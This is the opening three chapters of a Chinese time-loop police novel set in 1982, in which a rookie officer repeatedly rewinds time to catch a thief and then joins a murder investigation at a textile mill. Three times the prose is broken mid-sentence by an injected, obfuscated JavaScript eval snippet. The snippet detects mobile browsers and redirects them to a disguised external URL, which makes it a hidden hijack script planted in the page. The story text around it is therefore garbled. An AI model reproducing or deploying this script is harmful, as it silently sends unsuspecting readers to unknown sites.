《在八零靠回档破案》 1. 回档第一天 一九八二年,夏。 杜晓棠站在灰扑扑的市人民公安局大门前,感觉自己心脏快要从嗓子眼里跳出来了,咚咚咚地敲着鼓点,几乎要盖过树上知了歇斯底里的鸣叫。 她身上那身崭新的、笔挺的“八三式”警服预备款——草绿色的上衣,藏蓝色的裤子,领口鲜艳的红领章,被她熨烫得一丝褶皱也无,此刻正紧紧包裹着她微微发热的身体。 这身衣服,是她四年来在中国人民警官大学摸爬滚打、掉了不知几层皮、拼了命才换来的战袍。 天知道她一个从信息爆炸时代穿来的人,是如何熬过这没有手机、没有网络、训练艰苦得让人脱层皮、课程繁重得让人头秃的两年的。 全靠着一股劲儿,一股上辈子因先天体弱多病,连警校体检第一关都过不去,最终只能躺在惨白的病床上,靠着手机和视频里那些遥远的英雄故事,度过最后时光的巨大遗憾。 所以她穿到七八年的时候,第一时间想到的就是上辈子的执念:这辈子,死也要穿上这身警服,而且要穿得堂堂正正,穿得名至实归! 她深吸了一口气,空气中混合着老城区特有的生活气息,隔壁单位食堂飘来的熬猪油味、柏油马路被晒软了的淡淡焦味、还有不知哪里传来的栀子花的甜香,这一切真实而鲜活,将她心头翻腾的激动稍稍压下去些许。 抬脚,迈上公安局门前的三级石阶。 目光郑重地扫过门口挂着的几块白底黑字的竖牌——“镇江市公安局”、“政治处”、“治安科”……当她的视线最终落在“刑事侦查队”那几个遒劲有力、仿佛凝聚着无数惊心动魄的黑色大字上时,感觉全身的血液“嗡”地一下全涌上了头顶,耳边甚至有了短暂的嗡鸣。 刑警队!现在应该叫刑侦股,她梦寐以求、拼尽全力想要踏入的地方,想象中与犯罪分子斗智斗勇、抽丝剥茧揭开谜团的画面瞬间充斥脑海。 巨大的狂喜像一记直拳,猝不及防地冲昏了她的头脑,她忘了看路,穿着新发的、胶底还需要磨合的绿色解放鞋,一脚踩空了最后一级台阶的边缘—— “哎呀!” 身体失去平衡,猛地向前扑倒。 预想中与粗糙水泥地亲密接触的疼痛并未立刻传来,一只有力而骨节分明的大手,如同铁钳般及时而稳固地抓住了她的上臂,硬生生止住了她狼狈扑跌的势头。 杜晓棠惊魂未定地抬头,心脏还在狂跳,脸颊因窘迫迅速烧了起来,她撞入一双深邃而略带清冷的眼眸。 扶住她的男人同样穿着一身警服,身材挺拔如劲松,肩膀宽阔,警服穿得一丝不苟。 他看起来年纪不大,约莫二十五六岁,眉峰锐利,鼻梁高挺,嘴唇习惯性地紧抿着,下颌线透着一股不容置疑的坚毅,整个人自带一股沉稳甚至有些冷峻的气场,与周围略显嘈杂散漫的夏日氛围格格不入。 “谢、谢谢同志!”杜晓棠赶紧借力站直,手忙脚乱地整理了一下因动作太大而有些歪斜的衣领,脸臊得通红。 第一天报到,就在单位门口,还是在最向往的刑侦牌子前出这种洋相。 男人松开手,表情没什么变化,仿佛只是随手扶了下路边的电线杆,他从裤兜里掏出一块洗得发白但异常干净的手帕,递给她,声音平淡无波,听不出什么情绪:“擦擦,新来的?”他的目光在她激动得发红的脸蛋和那双因紧张而无所适从的手上短暂停留了一瞬。 “是!警官大学82届毕业生杜晓棠,今天来报到!”杜晓棠几乎是条件反射地立正,挺胸收腹,声音洪亮地回答,像是在操场上面对校领导检阅,她接过那块带着淡淡皂角清香的手帕,下意识地擦了擦其实并没沾多少灰的手心。 男人几不可查地微微颔首,目光在她那恨不得把“我要奋斗”写在脸上的激动神情,和略显凌乱的发梢上扫过,内心仅闪过一个极其短暂的念头:‘新人’,但他没再多言,也没有自我介绍的意思,只丢下一句“进去吧”,便先一步迈开长腿,步履沉稳地走进了公安局大门。 杜晓棠捏着那块微凉的手帕,看着那道冷峻挺拔的背影消失在门内的阴影里,这才长长地、悄悄地舒了口气,像是刚刚经历了一场突如其来的小型考核。 她赶紧再次整理了一下仪容,深吸一口气,怀着一种混合着窘迫和兴奋的复杂心情,跟了上去。 公安局内部的走廊略显昏暗,墙壁下半部刷着绿色的油漆,上半部是白色的石灰墙,挂着一些宣传标语和规章制度。空气里弥漫着旧纸张、墨水、烟草以及一种难以言喻的、属于许多单位都有的严肃气息。 报到流程并不复杂,在人事科交了派遣证,登了记,她被分配到了治安科,负责人事的老干事和蔼地告诉她,先跟着一位姓张的老刑警熟悉基层工作,了解一下片区情况。 张建国很快就被找来了,他是个四十多岁的中年人,面相和善,有点肚腩,警服穿得整齐但领口微微敞着,笑起来眼睛眯成两条缝,看起来很好相处。 “杜晓棠是吧?警大的高材生!欢迎欢迎!”张建国热情地和她握了握手,“走,我先带你转转,认认门儿。” 杜晓棠赶紧跟上,张建国带着她在不算大的公安局院子里和几排平房办公室间转悠,边走边介绍。 “喏,这排是户籍科,老百姓办户口、开证明都在这儿,忙得很…那边是预审科,抓到的人犯先过他们那关…那边是值班室,二十四小时不能离人…”张建国如数家珍,走到一排看起来更旧些的平房前,他随手指了指走廊尽头一个敞着门的办公室,“那边,刑侦的地盘。” 杜晓棠立刻像被磁石吸引一样,伸长脖子往那边瞧,眼睛亮晶晶的,试图捕捉刚才那个冷峻年轻警官的身影,刑侦的办公室看起来似乎更拥挤,桌子上堆着高高的卷宗,墙上似乎还挂着地图。 “怎么,想去刑侦?”张建国看出她的心思,笑着打趣。 杜晓棠不好意思地挠了挠头,短发茬刺得手心痒痒的:“嗯!考上警大就是冲着刑侦去的!” “有志气!是块好材料。”张建国赞许地点点头,随即又语重心长,“不过啊,丫头,干刑侦不光要胆子大、不怕死,更要心细如发,沉得住气,有时候蹲一个嫌疑人,几天几夜不吃不喝不睡那是常事,耗得是心血……” 正说着,大院门外突然传来一阵急促的、带着哭腔的呼喊和骚动,瞬间打破了机关大院午后的沉闷。 “抓小偷!抓小偷啊!天杀的他抢了我买药的钱!我的钱啊!” 一个头发花白、穿着灰色斜襟衫的大娘踉踉跄跄地追着一个身影,声音凄惶绝望。 杜晓棠的脑子甚至还没完全处理完这条信息,身体里的警报却已拉响,警校训练出的本能已经先于思考做出了反应,她像一颗被用力掷出的石子,猛地转身,以百米冲刺的速度朝着大院门口冲去,草绿色的身影在阳光下划出一道急切的轨迹。 “哎!小杜!你等等!”张建国的喊声被她骤然爆发的速度远远抛在身后。 杜晓棠眼里只有那个仓皇逃窜的、穿着灰色汗衫的瘦小身影,以及后面那位焦急绝望、步履蹒跚的大娘。 她全身的热血都在沸腾,每一个细胞都在呐喊:这是她警察生涯的第一战!是证明她不仅仅是个纸上谈兵的学生兵的时刻!必须拿下! 她冲得太猛太快,心无旁骛,所有的注意力都锁定了前方的目标,完全没注意到单位门口因为前夜洒水车过后又经人踩车轧,形成的那一小片滑腻腻、黑黢黢的青苔—— “噗通!” 一声闷响,伴随着膝盖和手掌接触粗糙地面时火辣辣的刺痛感猛地传来,杜晓棠结结实实地摔在了地上,巨大的惯性让她甚至往前滑蹭了一小段距离。 “嘶——”她疼得倒抽一口凉气,眼前瞬间漫上生理性的泪花,她猛地抬头,眼睁睁看着那个灰色身影敏捷地拐进旁边的小巷子,瞬间没了踪影。 挫败感和疼痛感交织在一起,让她又急又气,不顾手掌和膝盖钻心的疼痛,用力捶了一下地面,扯着嗓子朝贼消失的方向大喊:“别跑!站住!” 何亦寻刚从一个盗窃案的现场回来,摩托车还没停稳,就恰好将这一幕尽收眼底。 他看着那个一个钟头前才在门口扶过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448645|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把的、莽莽撞撞的新人女警,此刻摔得浑身是土,膝盖处洇出血色,疼得龇牙咧嘴却还咬着牙朝贼逃跑的方向不甘心地喊话,不由得蹙紧了眉头,形成一个深深的“川”字。 ‘这么急干什么,路都不看,安全都不顾。’他低声嘀咕了一句,语气里带着一丝不易察觉的不赞同,只觉得这新人热血冲动的劲儿是够了,但沉稳和观察力实在欠缺,典型的学生兵做派。 但他手头还有事,也没多想,更没打算上前干涉,只是摇了摇头,转身快步走进了办公楼,这类事情在基层并不少见,每个新人大约都要经历这么个阶段。 最终,是门口值班室的老同志和闻讯快步赶来的张建国一起,把杜晓棠从地上搀扶了起来。 “你这丫头!冲那么快干啥!那贼身上要是有刀子咋办?不要命了!”张建国又是心疼又是好笑,看她疼得直吸冷气,一瘸一拐的,数落的话到了嘴边又咽回去大半,化成一声叹息,“走走走,先去值班室处理一下。” 碘酒棉球擦在破皮渗血的伤口上,那刺激性的疼痛让杜晓棠瞬间疼出了眼泪,身体不受控制地抖了一下,但比身体更痛的是心里。 职业生涯的第一次实战,就这么灰头土脸地失败了,不仅没抓到贼,还摔得这么狼狈难看,那个刑侦的冷脸警官肯定也看见了……他会不会觉得警大培养出来的都是她这种冒失鬼?太丢人了!实在是太丢人了! “没事没事,勇气可嘉!看到违法犯罪敢于冲上去,这就很好,像个人民警察的样子!”张建国看她耷拉着脑袋,整个人像像只淋了雨的小狗,忍不住出声安慰,拿出紫药水给她涂抹,“下次注意啊,眼观六路,耳听八方,追贼也得先保证自身安全,看准路!” 师父的夸奖和安慰像隔着一层毛玻璃,没能真正驱散杜晓棠心里那团浓重的失落和懊恼,那个小偷逃之夭夭的背影、那位何警官可能投来的冷淡审视的目光、还有自己摔倒时那蠢透了的样子,在她脑子里来回晃荡,循环播放。 她越想越气,越想越不甘心,拳头不自觉地攥紧了,指甲掐进了掌心。 要是能再来一次……要是能再给她一次机会,她绝对不会踩到那块该死的青苔,她一定会注意脚下,一定会更快一点,更灵活一点,一定能抓住那个混蛋! 这股强烈的、近乎执拗的悔恨与渴望,混合着膝盖上阵阵传来的刺痛,在她胸腔里剧烈地翻腾、冲撞,几乎要破体而出。 就在这时,她眼前毫无征兆地闪过一道微弱的、半透明的蓝色光晕,像是老式电视机信号不良时的闪烁。 那光晕迅速凝聚、稳定,在她正前方咫尺之处的空气里,形成一个极其简约、甚至有些简陋的虚拟面板,像是用最原始的像素点拼凑出来的,边缘还微微模糊。 面板上浮现出一行清晰的、方方正正的黑色方块字: 【检测到宿主强烈悔恨与执念情绪波动……回档程序激活……是否开启初次回档?目标时间点:二十分钟前。】 【是/否】 杜晓棠猛地瞪大了眼睛,呼吸骤然停止,难以置信地看着这完全超现实、违背她过往所有认知的一幕。 幻觉?摔糊涂了?脑震荡? 可那面板就那样清晰地、稳定地悬浮在她眼前的空气里,上面的文字没有任何闪烁或消失的迹象,带着一种冰冷的、却又无比诱人的气息。 她的目光死死盯住那个【是】的选项。心脏狂跳得几乎要失控。 能重来?真的能重来一次? 几乎没有丝毫犹豫,那种抓住救命稻草的本能压倒了一切惊疑和恐惧。 她用那只没受伤的、还在微微发颤的、指尖还沾着些许碘酒痕迹的手,狠狠地、带着一股豁出去的、近乎孤注一掷的劲儿,虚空点向了那个【是】的选项。 ——只要能抓住那个小偷,只要能把大娘的药钱追回来,只要不再这么丢脸……管它是什么妖魔鬼怪、神仙法宝,怎样都行! 指尖落下的瞬间,她感到周围的一切光线和声音猛地被拉长、扭曲,像是掉进了一个飞速旋转的漩涡,膝盖的刺痛感骤然消失…… 2. 回档第二天 指尖落下,选择【是】的瞬间,杜晓棠感到一阵强烈的、类似电梯急速下坠的失重感猛地攫住了她。 周围的一切,值班室泛黄的墙壁、张建国担忧的脸、膝盖上紫药水的颜色、甚至空气里碘伏的味道——都像被一只无形的大手猛地拉扯、扭曲,变成模糊旋转的色块和噪音,最终坍缩成一个极小的光点,倏地消失。 紧接着,尚未等她适应这诡异的虚无,景象和声音又如同倒带的电影胶片,疯狂地重新灌入她的感知。 光线恢复正常,声音涌入耳膜。 “……那边,刑侦的地盘。”张建国的声音清晰地传来,他正笑眯眯地指着走廊尽头刑侦的办公室。 杜晓棠猛地一个激灵,发现自己正完好无损地站在走廊上,膝盖光洁,手掌干净,仿佛刚才那狼狈的一摔和火辣辣的疼痛只是一场幻觉。 时间……真的回到了她摔倒之前,回到了张建国正在给她介绍刑侦的时候。 她的心脏骤然狂跳,几乎要撞破胸腔,目光猛地转向大院门口——几乎就在同时,那熟悉而凄惶的哭喊声再次穿透了午后的沉闷: “抓小偷!抓小偷啊!天杀的他抢了我买药的钱!” 就是现在!机会重来了! “师父对不起!等下再说!”杜晓棠像一颗被用力压紧后骤然释放的弹簧,猛地转身,再次以百米冲刺的速度朝着大院门口狂飙而去,留下张建国举着手,僵在原地,一脸错愕地看着她那仿佛被狗撵了的背影:“诶?这丫头……刑侦也不至于这么激动吧?” 这一次,杜晓棠的眼睛像探照灯一样死死锁定地面,精准无比地绕开了那片滑腻腻的黑青苔,速度甚至比上一次更快,带起一阵风! 她像一头发现了猎物的矫健豹子,几步就冲出了大院门,朝着小偷消失的巷子猛追过去。 拐进巷口,里面是错综复杂的民居和小道,那小偷显然对这里极为熟悉,身影在几个岔路口一闪即逝。 杜晓棠拼尽全力奔跑,肺叶火辣辣地疼,耳边全是自己咚咚的心跳和呼啸的风声,眼看距离在拉近,她甚至能看清小偷汗湿的后背和手里攥着的那个破旧钱包。 就在这时,斜刺里突然慢悠悠蹬出来一辆二八大杠自行车,车上坐着个穿白汗衫的老大爷,车把上还挂着个鸟笼子,正好挡在了她追击的路线上。 “让让!大爷让让!警察抓贼!”杜晓棠急得大喊,试图从旁边挤过去。 老大爷被这突如其来的喊声和冲过来的绿色身影吓了一跳,车头一歪,连人带车晃悠着要倒不倒。 “哎呦喂!看着点啊!”杜晓棠不得不猛地刹住脚步,伸手扶了一把车后座。 就这么一耽搁,前方那个灰色的身影已经敏捷地钻进了另一条更窄的巷子,瞬间没了踪影。 杜晓棠僵在原地,撑着膝盖大口喘气,汗水顺着下巴滴落,砸在滚烫的土地上,心里一片冰凉和难以置信。 又…又失败了?就因为一辆突然出现的自行车? 强烈的挫败感和不甘再次汹涌地扑上来,几乎将她淹没。 她甚至没注意到,公安局二楼一扇窗户后面,何亦寻正站在窗边和人说话,目光无意间扫过楼下巷口,恰好看到她急刹扶车、然后望着空巷咬牙切齿的懊恼身影。 他眉头几不可查地蹙了一下,觉得这新人的表情……怎么好像在哪见过?但这种模糊的念头很快被手头正在讨论的案件细节挤开,并未深究。 不行!绝对不能就这么算了!那大娘绝望的哭声还在耳边回响! 那股执拗的劲头再次占领高地,杜晓棠一咬牙,心念集中——那个简陋的蓝色面板果然再次如期而至! 【检测到宿主强烈不甘情绪……是否再次回档?目标时间点:二十分钟前。】 【是/否】 “是!”杜晓棠在内心疯狂呐喊,几乎是恶狠狠地做出了选择。 轻微的眩晕感再次袭来。 “……那边,刑侦的地盘。”张建国的声音再次响起,手指着走廊尽头。 杜晓棠猛地吸了一口气,第三次如同脱缰野马般冲了出去,这一次,她甚至没跟张建国打声招呼。 “诶?!小杜!”张建国举着手,彻底懵了,看着那个狂奔而去的背影,茫然地眨了眨眼,“这……刑侦的吸引力这么大?听到名字就兴奋成这样?” 第三次,杜晓棠完美避开青苔,冲进巷子。 这次她学乖了,一边追一边眼观六路,注意观察两侧岔路和可能的障碍物。 眼看又要追上,那小偷却似乎背后长了眼睛,突然一个急转弯,钻进了一个低矮的院门,随即“砰”地一声从里面闩上了门! 杜晓棠用力拍打着木门,里面却毫无动静,只有隐约的脚步声快速远去,她试图攀爬那不算高的墙头,却因为缺乏技巧和手臂力量不足,试了几次都滑了下来,指甲缝里塞满了泥土,只能眼睁睁听着机会再次溜走。 第四次回档。 【检测到宿主强烈不甘情绪……是否再次回档?目标时间点:十分钟前。】 【是/否】 杜晓棠冲出走廊时,张建国已经放弃思考了,他张着嘴,看着那个狂奔而去的绿色身影,喃喃自语:“这姑娘……身体真好?”他开始怀疑是不是自己介绍刑侦的方式过于煽动人心。 第四次追击。 杜晓棠记住了那个院门的位置,提前预判,试图从另一条路包抄拦截。 结果她选择的那条近路的路口,被几个正在跳皮筋的小女孩和她们拉起的橡皮筋严严实实地堵住了。 “让让!小朋友让让!姐姐抓坏人!”杜晓棠急着让她们让开,语气不免有些急躁。 一个小女孩被她突然出现和急促的语气吓到,“哇”地一声哭了出来。 其他孩子也一哄而散,橡皮筋乱作一团,反而把路口堵得更死了,等她手忙脚乱地穿过这片混乱,小偷早就跑得无影无踪。 …… 食堂里,何亦寻坐在靠窗的位置,心不在焉地嚼着嘴里千篇一律的土豆炖白菜,不知道为什么,明明应该是刚开饭没多久,他却觉得这饭菜腻味得离谱,胃里沉甸甸的,甚至隐隐有点泛酸恶心。 好像……已经连续吃了好几顿一模一样的东西了,这种诡异而强烈的既视感让他非常不适。 他放下筷子,用力揉了揉眉心,开始严肃地怀疑自己是不是最近连环案压力太大,导致了严重的神经衰弱或者胃部疾病。他甚至开始认真思考,下午是不是该抽空去卫生院看看,对面坐着的同事看他脸色不好,关心地问:“何队,没事吧?菜不合胃口?” 何亦寻摇摇头,没说话,只是看着窗外出神,心里那种说不清道不明的烦躁感越来越重。 第五次回档。 杜晓棠感觉自己精神上快要虚脱了,每一次回档,身体虽然恢复了,但那种一次次经历失败、一次次重头再来的精神疲惫感却层层累积,压得她喘不过气。 当她再次“听”到张建国那句“那边,刑侦的地盘”时,她几乎有种想要抱头蹲下的无力感。 但她不能放弃!都失败了四次了!这次必须成功! 她第五次猛地转身,爆发出惊人的速度冲向大院门,这一次,她的眼神里除了最初的急切,更多了一种被逼到绝境后的破釜沉舟和极度冷静。 前四次的失败经验在她脑中飞速闪过、整合:青苔、自行车、院门、跳皮筋的孩子……每条岔路,每个可能的障碍物,小偷的习惯性逃跑方向…… 她如猎豹般窜出,精准绕开青苔,冲进巷子。 她无视了可能会出现的自行车,提前半秒改变了路线,完美避开了那个有闩门院的岔路,选择了一条更远但绝对通畅的路線,她甚至根据前几次的观察,预判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448646|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了小偷在受到连续追击后心理可能产生的变化和选择的最优路径。 汗水浸透了她的后背,呼吸灼烧着她的喉咙,但她的大脑异常清醒。 果然,在一个十字路口,她看到了那个灰色的身影正按照她预判的方向狂奔。 杜晓棠咬紧牙关,拼尽最后一丝潜力加速,一个标准的飞扑擒拿,终于在那家伙即将再次拐弯消失前,成功地一把死死揪住了他的后衣领,巨大的惯性让两人都踉跄了一下,但杜晓棠这次下盘扎得稳,硬是没松开。 “抓到了!看你往哪跑!”杜晓棠气喘吁吁,声音都喊劈了,手下用尽了全身力气攥着不放。 小偷拼命挣扎扭动,但杜晓棠用了巧劲,加上对方体力消耗也大,竟一时没能挣脱。 附近听到动静的居民和闻讯赶来的派出所同志一起上前,七手八脚终于将小偷彻底制服。 杜晓棠看着小偷被扭送走,那位大娘拿回了被抢的钱包,拉着她的手老泪纵横、千恩万谢,她这才感觉一直紧绷到极致的那根弦猛地松了下来,膝盖一软,差点直接坐在地上,幸好被旁边一位大婶扶住。 巨大的、迟来的胜利喜悦和排山倒海般的疲惫感同时席卷了她,让她几乎站立不稳。 她拖着仿佛灌满了铅的双腿,一瘸一拐地回到局里。 张建国看着她满头大汗、警服湿透、脸颊通红却笑得一脸灿烂、仿佛刚打完一场胜仗的样子,表情极其复杂,最后还是竖起了大拇指,语气带着无比的感慨:“好样的!小杜!真有你的!这回可真抓住了!不过……你刚才这一趟……跑得也太拼了吧?”他实在无法理解,就这么一会儿功夫,这姑娘怎么能把自己搞得像刚从水里捞出来一样。 杜晓棠只能憨憨地笑,气息还不匀:“没、没事,抓贼要紧。”心里却在疯狂吐槽:拼?我可是拼了五次了!感觉身体被掏空! 这时,何亦寻刚从楼上下来,准备去办公室。 他看到杜晓棠这副累瘫了却兴奋异常、警服皱巴巴沾着灰、几缕湿发贴在额角、脸颊跑得通红还咧着嘴傻笑的样子,活像一只在泥地里打滚后又捡回了心爱飞盘的大型犬,脚步不由得顿了一下。 一种极其强烈的、荒谬的熟悉感扑面而来。 这场面……这感觉……怎么好像不久前刚发生过?细节模糊,但那种“事情本该如此又似乎哪里不对”的别扭感再次浮现。他原本下意识蹙起眉头,习惯性地想指出这种不顾自身疲惫、过于外露的情绪不利于后续工作,目光却扫过她亮得惊人的、充满成就感和渴望认可的双眼,以及那身明显经历了激烈搏斗的狼狈模样。 到了嘴边的、关于“效率”和“沉稳”的苛责话语在舌尖转了一圈,莫名地就咽了回去,他嘴角似乎几不可查地动了一下,最终,只是用那惯常的、听不出太多情绪的平淡声调,扔下了一句:“抓到了?……还不错。” 说完,他便不再停留,径直从她身边走过,走向自己的办公室。 杜晓棠原本已经做好了再次被冷水浇头的准备,甚至下意识地缩了缩脖子,却没想到,预料中的批评没有到来,反而听到了一句……夸奖? 虽然语气平淡得像在评价天气,但“还不错”三个字,从这位冷面队长嘴里说出来,简直堪比最高奖赏。 她愣了一秒,随即几乎不敢相信自己的耳朵。 紧接着,巨大的惊喜像烟花一样在她心里炸开,脸上的疲惫瞬间被一扫而空,取而代之的是比刚才更加灿烂、几乎能照亮整个走廊的笑容,眼睛弯成了月牙,连因为剧烈奔跑而泛红的脸颊都显得更加生动起来,整个人肉眼可见地变得明亮而欢快,仿佛瞬间充满了电,刚才那副累瘫了的模样一扫而空。 何亦寻虽然没有回头,但似乎能清晰地感觉到身后那道瞬间变得灼热而快乐的视线,他脚步未停,心里却莫名地、清晰地记下了,这个叫杜晓棠的新人。 3. 回档第三天 杜晓棠感觉自己像是被一辆重型卡车反复碾轧了五遍,灵魂都快被榨干了。 虽然身体上的擦伤和疲惫在最后一次成功的回档后被“重置”了,但那种深入骨髓的精神倦怠感却顽固地留存了下来,像一层湿透的棉袄紧紧裹着她。 太阳穴突突地跳着,眼前偶尔会闪过一瞬的金星,耳朵里也嗡嗡作响,她强撑着处理完小偷案的后续手续,填写报告时,手指甚至有些不易察觉的发颤,写出来的字都带着一种虚浮的飘忽感。 “小杜啊,脸色怎么这么白?跟糊了层窗户纸似的。”张建国师傅端着一个印着“为人民服务”红字的搪瓷缸子走过来,里面泡着浓茶,关切地看着她,“是不是刚才跑太猛,累着了?来来,喝口热茶缓一缓,年轻人有冲劲是好事,但也得注意身体,不能蛮干。” 杜晓棠抬起有些茫然的眼睛,反应慢半拍地“啊?”了一声,才迟钝地接过缸子,温热的触感透过搪瓷传到掌心,稍微驱散了一点寒意,她小口啜饮着苦涩的茶汤,像只急需补充能量的小动物,含糊地应着:“谢谢师傅,我没事,可能就是有点…有点脱力。” 她没好意思说自己是“累着了脑子”,眼神还有点放空,盯着茶杯里起伏的茶叶梗,仿佛能看出朵花来。 “正常,头一回都这样。”张建国笑呵呵地,在她对面的旧办公桌后坐下,“肾上腺素一上去,下来的时候就这感觉,歇会儿就好,你今天表现真不错,反应快,能咬牙坚持,是块干警察的料!” 师父的认可和热茶让杜晓棠心里暖烘烘的,精神上的疲惫似乎也缓解了些许。 她不好意思地笑了笑,下意识想挠头,结果忘了手里还拿着茶缸,差点把茶水晃出来,手忙脚乱地扶稳,脸颊微微泛红,露出一个有点傻气的笑容。 整个人透着一股刚经历剧烈运动后的懵懂和柔软,像只累瘫了但被顺了毛就忍不住开心摇尾巴的大型犬。 就在这时,办公室的门被推开,一股低气压随之涌入。 何亦寻站在门口,身形依旧挺拔,但眉宇间笼罩着一层比平时更深的凝重,他目光扫过办公室,目前大部分的人都出去了,只有少部分的文职人员,以及张建国两师徒。 “老张,带上现场勘查箱,马上出现场。” 张建国立刻放下茶杯站起身,神色一肃:“何队,什么案子?” “纺织厂女工,死在女浴室里了。”何亦寻言简意赅,语气里听不出什么情绪,但那种无形的压迫感让整个办公室的空气都仿佛凝固了几分,“初步判断,不是意外,技术科的人已经先过去了。” 命案! 杜晓棠的心猛地提了起来,残存的倦意瞬间被驱散大半,她下意识地也跟着站起身,因为起得太急,眼前又是一阵发黑,身体轻微地晃了一下,赶紧伸手扶住桌子边缘,但那双眼睛却立刻紧紧盯向何亦寻,里面闪烁着混合着紧张、恐惧和强烈渴望的光芒,像听到了指令即将出发的工作犬,尽管身体还有点晃悠,但精神已经进入了警戒状态。 何亦寻似乎这才注意到她,目光在她依旧苍白、甚至因为刚才那一下晃动而更显脆弱的脸上停顿了一瞬,他眉头几不可查地蹙了一下,像是想说什么,但最终只是公事公办地开口,语气平淡无波:“你也跟着,负责记录,注意观察,多看多听,不许擅自行动。” “是!何队!”杜晓棠立刻大声应道,因为激动,声音甚至有点发飘,她赶紧手忙脚乱地去找记录本和笔,转身时差点被椅子腿绊到,踉跄了一下才站稳,匆匆抓过本子,紧紧抱在胸前,一副严阵以待却又难掩青涩紧张的模样。 何亦寻看着她这副毛手毛脚、跌跌撞撞却又干劲十足的样子,眼底闪过一丝极难察觉的无奈,但什么都没说,转身先走了出去。 张建国一边迅速检查勘查箱里的工具(手电、卷尺、粉笔、手套、证物袋等),一边压低声音对杜晓棠叮嘱:“丫头,沉住气,命案现场和抓小偷不一样,情况复杂,一切听指挥,别乱碰东西,也别瞎打听。” “我明白,师傅!”杜晓棠用力点头,深吸一口气,努力让自己冷静下来,可抱着笔记本的样子依然显得有些笨拙而郑重,像是抱着什么宝贝,她快步跟上,因为精神不济和紧张,同手同脚了一下才调整过来,耳根微微发红。 纺织厂女浴室门口已经拉起了简陋的警戒线,几个穿着工装的女工聚在外面,脸上带着惊恐和不安,低声议论着,厂里的保卫科干部和先到的派出所民警正在维持秩序。 空气中弥漫着一股浓重的、令人不适的气味——潮湿的水汽、廉价肥皂粉的香精味,还有一丝极其微弱的、若有若无的铁锈般的腥气。 何亦寻率先戴上白线手套,弯腰从警戒线下钻了进去,张建国提着勘查箱紧随其后,杜晓棠也学着他的样子,屏住呼吸,小心翼翼地跟了进去。 浴室内部光线昏暗,只有一盏功率不大的白炽灯亮着,水汽尚未完全散去,墙壁和地面都湿漉漉的。 一个年轻的女子蜷缩在更衣室和淋浴区交界的地面上,身上只穿着单薄的衬衣和衬裤,湿透的衣物紧贴身体,勾勒出僵硬的轮廓,她的头部附近,有一片被水稀释过的、颜色发暗的痕迹。 即使杜晓棠早有心理准备,亲眼看到尸体的瞬间,胃里还是一阵翻江倒海,脸色瞬间变得更白了,她赶紧用力咬住嘴唇才没失态。 何亦寻和张建国却像是司空见惯,面不改色,何亦寻蹲下身,仔细检查尸体和周围环境,眼神锐利如鹰。张建国打开勘查箱,开始拍照(用的是老式的海鸥相机)、测量、初步固定痕迹。 “死亡时间大概在昨晚下夜班后,浴室快关门的时候。”何亦寻检查了片刻,沉声说,“颈部有扼压痕迹,初步判断是机械性窒息。发现尸体的女工说,死者的手表和这个月刚发的工资补贴不见了。” “抢劫杀人?”张建国一边配合着测量脚印一边问。 “不像。”何亦寻微微摇头,用手指虚点了一下死者略微凌乱的衣领和散落在一旁的、似乎被翻动过的肥皂盒,“手法生疏,但目的性很强,像是冲着东西来的,但…又有点刻意。”他注意到死者一只手的指甲缝里,似乎嵌着一点极细微的、不同于浴室环境的深蓝色纤维。 杜晓棠强忍着不适,努力履行记录的职责,在本子上飞快地写着:时间、地点、初步尸检情况、可疑痕迹……她的手因为紧张和之前的疲惫,微微有些发抖,字迹不免有些潦草,偶尔还会写错笔画,看起来有点可怜又有点好笑。 “小杜,”何亦寻突然头也不抬地叫了她一声,“去问问外面保卫科的同志,最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448647|185216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂里或者家属院有没有发生过类似的盗窃案,特别是针对女工的,还有,昨晚下夜班后,有哪些人最后离开的车间和浴室。” “啊?哦!是!”杜晓棠愣了一下,像是被点了名的小学生,赶紧合上本子,像接到军令一样转身就往外跑,因为起得太猛,眼前又是一阵发黑,她连忙扶了下湿滑的墙壁才站稳,手指在墙上留下几道湿痕。 何亦寻抬眼瞥了她略显虚浮的脚步和苍白的侧脸一眼,眉头再次蹙起,但很快又低下头继续勘查。 杜晓棠跑到外面,找到保卫科的人,把何亦寻的问题重复了一遍,她努力想让自己的语气显得镇定专业,但因为气息不稳,听起来还是有些急促,像只着急传达信息的小狗。 保卫科的干部是个中年男人,被她连珠炮似的问题问得有点懵,想了想才说:“盗窃案……偶尔有,都是偷食堂饭菜票或者晾在外面的衣服什么的,这么大阵仗的没有,最后离开的人……得去查查考勤表和各班组的记录。” 